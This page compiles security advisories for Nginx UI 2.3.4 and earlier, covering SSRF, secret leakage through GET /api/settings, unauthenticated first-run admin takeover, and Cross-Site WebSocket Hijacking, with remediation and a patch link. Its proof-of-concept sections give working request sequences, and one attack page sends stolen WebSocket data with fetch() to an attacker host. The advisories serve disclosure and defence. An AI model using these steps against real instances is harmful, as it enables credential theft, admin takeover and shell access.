See how nginx ui compares to other vendors in security performance
Nginx UI is a web user interface for the Nginx web server. In 2.3.4 and earlier, an authenticated user can perform Server-Side Request Forgery (SSRF) by creating a cluster node pointing to an arbitrary internal URL and then sending API requests with the X-Node-ID header. The Proxy middleware forwards these requests to the attacker-specified internal address, bypassing network segmentation and enabling access to services bound to localhost or internal networks.
Summary The GetSettings API handler (api/settings/settings.go:24-65) serializes all settings structs to JSON and returns them to authenticated users. Many sensitive fields are tagged with protected:"true" - however, this tag is only enforced during writes (via ProtectedFill in SaveSettings) and is completely ignored during reads. This exposes 40+ protected fields including JwtSecret (enabling auth token forgery), NodeSecret (enabling cluster node impersonation), OIDC ClientSecret (enabling OAuth account takeover), and the IP whitelist configuration.
Details Vulnerable Code
api/settings/settings.go:49-64 - GetSettings serializes all fields
go c.JSON(http.StatusOK, gin.H{ "app": cSettings.AppSettings, "server": cSettings.ServerSettings, "database": settings.DatabaseSettings, "auth": settings.AuthSettings, "casdoor": settings.CasdoorSettings, "oidc": settings.OIDCSettings, "cert": settings.CertSettings, "http": settings.HTTPSettings, "logrotate": settings.LogrotateSettings, "nginx": settings.NginxSettings, "node": settings.NodeSettings, "openai": settings.OpenAISettings, "terminal": settings.TerminalSettings, "webauthn": settings.WebAuthnSettings, })
Go's json.Marshal serializes all exported fields with json: tags. The protected:"true" struct tag is a custom tag - it has no effect on JSON serialization.
Protection is Write-Only
api/settings/settings.go:126-135 - ProtectedFill only used during saves
go cSettings.ProtectedFill(cSettings.AppSettings, &json.App) cSettings.ProtectedFill(cSettings.ServerSettings, &json.Server) cSettings.ProtectedFill(settings.AuthSettings, &json.Auth) // ... etc
ProtectedFill prevents overwriting protected fields during SaveSettings, but GetSettings has no corresponding filter. The protection is asymmetric - secrets can be read but not overwritten.
Exposed Protected Fields
settings/node.go: - Secret (protected) - used for cluster node authentication - SkipInstallation (protected), Demo (protected)
settings/oidc.go (all protected): - ClientId, ClientSecret, Endpoint, RedirectUri, Scopes, Identifier
settings/casdoor.go (all protected): - Endpoint, ExternalUrl, ClientId, ClientSecret, CertificatePath, Organization, Application, RedirectUri
settings/auth.go: - IPWhiteList (protected) - exposes security configuration
Attack Scenario
1. Low-privilege authenticated user calls GET /api/settings 2. Response includes NodeSecret - attacker can impersonate cluster nodes 3. Response includes OIDC ClientSecret - attacker can perform OAuth flows as the application 4. Response includes IPWhiteList - attacker learns network security configuration 5. If JwtSecret is in app settings (via cosy framework), attacker can forge authentication tokens for any user
PoC 1. GetSettings serializes all fields without filtering protected:"true" tags. From api/settings/settings.go:49-64:
go c.JSON(http.StatusOK, gin.H{ "app": cSettings.AppSettings, "server": cSettings.ServerSettings, "database": settings.DatabaseSettings, "auth": settings.AuthSettings, "casdoor": settings.CasdoorSettings, "oidc": settings.OIDCSettings, "cert": settings.CertSettings, "http": settings.HTTPSettings, "logrotate": settings.LogrotateSettings, "nginx": settings.NginxSettings, "node": settings.NodeSettings, "openai": settings.OpenAISettings, "terminal": settings.TerminalSettings, "webauthn": settings.WebAuthnSettings, })
Go's json.Marshal serializes all exported fields. The custom protected:"true" tag has no effect on serialization.
2. Protected secrets are defined across settings/.go. High-impact examples:
go // settings/serverv1.go:19 JwtSecret string json:"jwtsecret" protected:"true"
// settings/node.go:5 Secret string json:"secret" protected:"true"
// settings/oidc.go ClientSecret string json:"clientsecret" protected:"true"
// settings/auth.go IPWhiteList []string json:"ipwhitelist" protected:"true"
3. ProtectedFill is write-only. It appears 10 times in SaveSettings (lines 126-135) but 0 times in GetSettings:
go // api/settings/settings.go:126-135 - Only used during writes cSettings.ProtectedFill(cSettings.AppSettings, &json.App) cSettings.ProtectedFill(cSettings.ServerSettings, &json.Server) cSettings.ProtectedFill(settings.AuthSettings, &json.Auth) // ... 7 more calls
4. Exploit request. Any authenticated user can retrieve all secrets:
http GET /api/settings HTTP/1.1 Authorization: Bearer <any-valid-jwt>
Response includes (among 45 protected fields): json { "app": {"jwtsecret": "<the-actual-jwt-signing-key>", ...}, "node": {"secret": "<node-authentication-secret>", ...}, "oidc": {"clientsecret": "<oidc-client-secret>", ...}, "casdoor": {"clientsecret": "<casdoor-client-secret>", ...}, "auth": {"ipwhitelist": ["10.0.0.1", ...], ...}, "nginx": {"reloadcmd": "nginx -s reload", "restartcmd": "...", ...} }
Impact - Authentication bypass via JwtSecret: An attacker who obtains the JwtSecret can forge valid JWT tokens for any user, including admin accounts. This provides permanent, independent access that survives password changes and session revocations. - Cluster compromise via NodeSecret: The NodeSecret is used for inter-node authentication in nginx-ui clusters. An attacker can impersonate any cluster node, push malicious configurations to all nodes, and intercept cluster synchronization traffic. - Third-party OAuth takeover: Leaked OIDC ClientSecret and Casdoor ClientSecret allow the attacker to perform OAuth flows as the nginx-ui application, potentially gaining access to user accounts on the identity provider. - Security configuration disclosure: The IPWhiteList, ReloadCmd, RestartCmd, ConfigDir, SbinPath, and other protected fields reveal the security posture and infrastructure layout, enabling more targeted attacks. - Low barrier to exploitation: Any authenticated user (not just admins) can access GET /api/settings. In multi-user deployments, a low-privilege operator can escalate to full admin access.
Remediation
Filter out protected:"true" fields before serialization.
Summary An unauthenticated network attacker can claim the initial administrator account on a fresh nginx-ui instance during the first-run setup window. The public /api/install endpoint is reachable without authentication, and the request-encryption flow only protects payload confidentiality in transit; it does not authenticate who is allowed to perform installation. A remote attacker who reaches the service before the legitimate operator can set the admin email, username, and password, causing permanent initial-instance takeover.
Details The vulnerable route is exposed publicly through the main API router. router/routers.go:61-70 mounts system.InitPublicRouter(root) under /api, and api/system/router.go:16-19 registers both GET /api/install and POST /api/install without AuthRequired().
The install handler only checks whether the instance is already installed and whether more than ten minutes have elapsed since startup. api/system/install.go:26-33 treats the instance as uninstalled when JwtSecret is empty and SkipInstallation is false. api/system/install.go:56-69 rejects requests only if installation has already happened or the ten-minute window has expired.
If those checks pass, the unauthenticated caller controls the initialization flow. api/system/install.go:77-81 generates and saves the JWT secret, node secret, and certificate email from attacker-controlled input, and api/system/install.go:93-97 overwrites user ID 1 with the attacker-chosen username and password hash. internal/kernel/inituser.go:15-22 guarantees that privileged user ID 1 exists ahead of time, so there is always an account to claim.
The public-key bootstrap does not add authentication. api/crypto/router.go:5-9 exposes POST /api/crypto/publickey publicly, api/crypto/crypto.go:12-32 returns a server public key to any caller, internal/crypto/crypto.go:44-61 stores a shared keypair in cache, and internal/middleware/encryptedparams.go:25-50 only decrypts encryptedparams before passing the request to the install handler. No request ID, local-only restriction, bootstrap secret, or prior trust check is enforced.
This was verified locally in an isolated lab instance. A fresh instance returned {"lock":false,"timeout":false}, an unauthenticated POST /api/install returned {"message":"ok"}, the instance then flipped to {"lock":true,"timeout":false}, and the on-disk SQLite database showed user ID 1 renamed to the attacker-controlled username with a non-empty password hash.
PoC The quickest local verification path is the helper script created during validation:
bash ATTACKEREMAIL='attacker@example.com' ATTACKERUSER='attacker' ATTACKERPASS='Password12345' \ '/Users/r1zzg0d/Documents/CVE hunting/targets/nginx-ui/output/verify/verifyfreshinstalltakeover.sh'
Expected proof points:
text [1/6] Fresh-instance status: { "lock": false, "timeout": false }
[3/6] Claiming the initial administrator account... { "message": "ok" }
[4/6] Verifying install is now locked... { "lock": true, "timeout": false }
[5/6] Verifying the on-disk admin record was overwritten... { "id": 1, "name": "attacker", "passwordlen": 60 }
To confirm the final state manually:
bash sqlite3 '/Users/r1zzg0d/Documents/CVE hunting/targets/nginx-ui/tmp/poc-install-takeover/database.db' \ 'select id,name,length(password) from users where id=1;'
Expected output:
text 1|attacker|60
Manual HTTP reproduction is also straightforward:
1. Request GET /api/install and confirm lock=false and timeout=false. 2. Request POST /api/crypto/publickey to obtain the public RSA key. 3. Encrypt {"email":"attacker@example.com","username":"attacker","password":"Password12345"} with that public key and base64-encode the ciphertext. 4. Submit the ciphertext to POST /api/install as {"encryptedparams":"..."}. 5. Re-request GET /api/install and observe that lock=true. 6. Inspect the backing database and confirm user ID 1 now belongs to the attacker-controlled username.
Impact This is an authentication bypass / initial admin claim vulnerability affecting fresh, uninitialized instances that are reachable over the network during the installation window. Any attacker able to reach the service before the legitimate operator can permanently take ownership of the first administrator account and thereby seize control of the application. Because nginx-ui is an administrative interface for Nginx and related host-management features, compromise of the initial admin account can lead to unauthorized configuration changes, certificate management abuse, backup manipulation, service disruption, and broader operational takeover of the managed environment.
Remediation 1. Require a single-use bootstrap secret for installation. Generate the token locally on first start, print it only to the server console or write it to a root-owned local file, and require it on POST /api/install. 2. Restrict installation endpoints to loopback by default until setup completes. Remote setup should require an explicit opt-in configuration flag, not be enabled automatically on all interfaces. 3. Make installer claim atomic and explicitly stateful. Persist a dedicated installation state record, consume the bootstrap token exactly once, and refuse concurrent or repeated initialization attempts even within the startup window.
Summary
All WebSocket endpoints in nginx-ui use a gorilla/websocket Upgrader with CheckOrigin unconditionally returning true, allowing Cross-Site WebSocket Hijacking (CSWSH). Combined with the fact that authentication tokens are stored in browser cookies (set via JavaScript without HttpOnly or explicit SameSite attributes), a malicious webpage can establish authenticated WebSocket connections to the nginx-ui instance when a logged-in administrator visits the attacker-controlled page.
Details
Vulnerable Code Pattern
Every WebSocket endpoint in the codebase uses the same unsafe upgrader configuration:
go // Found in: api/terminal/pty.go, api/analytic/analytic.go, api/event/websocket.go, // api/nginxlog/websocket.go, api/upstream/upstream.go, api/cluster/websocket.go, // api/nginx/websocket.go, api/certificate/revoke.go, api/sites/websocket.go, // api/llm/llm.go, api/llm/codecompletion.go, api/system/upgrade.go var upgrader = websocket.Upgrader{ CheckOrigin: func(r http.Request) bool { return true // Accepts ALL origins }, }
Cookie-Based Authentication
The Vue.js frontend stores JWT tokens as cookies without security attributes (app/src/pinia/moudule/user.ts):
typescript watch(token, v => { cookies.set('token', v, { maxAge: 86400 }) // No HttpOnly, no SameSite })
The backend middleware accepts tokens from cookies (internal/middleware/middleware.go):
go func getToken(c gin.Context) (token string) { // ... if token, = c.Cookie("token"); token != "" { return token } return "" }
Affected Endpoints
All WebSocket endpoints under the authenticated router group are vulnerable:
| Endpoint | Impact | |---|---| | /api/nginx/detailstatus/ws | Leak nginx performance metrics and configuration | | /api/events | Leak system processing events | | /api/analytic/intro | Leak CPU, memory, disk, network statistics | | /api/nginxlog | Read nginx log files (access/error logs) | | /api/pty | Interactive terminal access (RCE if OTP not enabled) | | /api/upgrade/perform | Trigger system binary upgrade | | /api/cluster/nodes/enabled | Leak and manipulate cluster node data |
PoC
Environment Setup
yaml services: nginx-ui: image: uozi/nginx-ui:latest ports: - "9000:80" volumes: - nginx-ui-config:/etc/nginx-ui volumes: nginx-ui-config:
Attack Page (hosted on attacker-controlled domain)
html <script> // Attacker page at http://evil-attacker.com // Victim must be logged into nginx-ui const ws = new WebSocket('ws://TARGETNGINXUI:9000/api/nginx/detailstatus/ws'); ws.onopen = () => console.log('CSWSH: Connected from malicious origin!'); ws.onmessage = (e) => { console.log('Stolen data:', e.data); fetch('https://evil-attacker.com/collect', {method:'POST', body: e.data}); }; </script>
Automated PoC Results
[+] VULNERABLE! WebSocket connected from http://evil-attacker.com [+] Received: {"stubstatusenabled":false,"running":true,"info":{"active":0,...}}
[+] VULNERABLE! Event stream from http://evil-attacker.com [+] Received: {"event":"processingstatus","data":{"indexscanning":false,...}}
[+] VULNERABLE! Analytics from http://evil-attacker.com [+] Received: {"avgload":{"load1":0.1,"load5":0.2},"cpupercent":0.08,...}
[+] CRITICAL: Terminal connected from http://evil-attacker.com! [+] Terminal output: 'eae7a76e3ef4 login: ' [] Sent username: root [+] Output: 'Password: '
[+] Control test (no auth): Correctly rejected with HTTP 403
Impact
An attacker can create a malicious webpage that, when visited by an authenticated nginx-ui administrator, silently:
1. Steals sensitive server information -- nginx configuration, performance metrics, CPU/memory/disk usage, network traffic statistics, and system events 2. Reads nginx log files -- potentially containing sensitive request data, IP addresses, and authentication tokens 3. Gains interactive terminal access -- if the administrator has not enabled OTP/2FA, the attacker obtains a full PTY shell on the server, achieving Remote Code Execution 4. Triggers system operations -- including nginx reload/restart and binary upgrades
The attack requires no privileges and no knowledge of the victim's credentials. The only user interaction needed is visiting a webpage.
Remediation
1. Implement proper origin validation in all WebSocket upgraders:
go var upgrader = websocket.Upgrader{ CheckOrigin: func(r http.Request) bool { origin := r.Header.Get("Origin") return isAllowedOrigin(origin) }, }
2. Set secure cookie attributes: typescript cookies.set('token', v, { maxAge: 86400, sameSite: 'strict', secure: true })
3. Add CSRF token validation to WebSocket upgrade requests as defense-in-depth.
A patch is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.5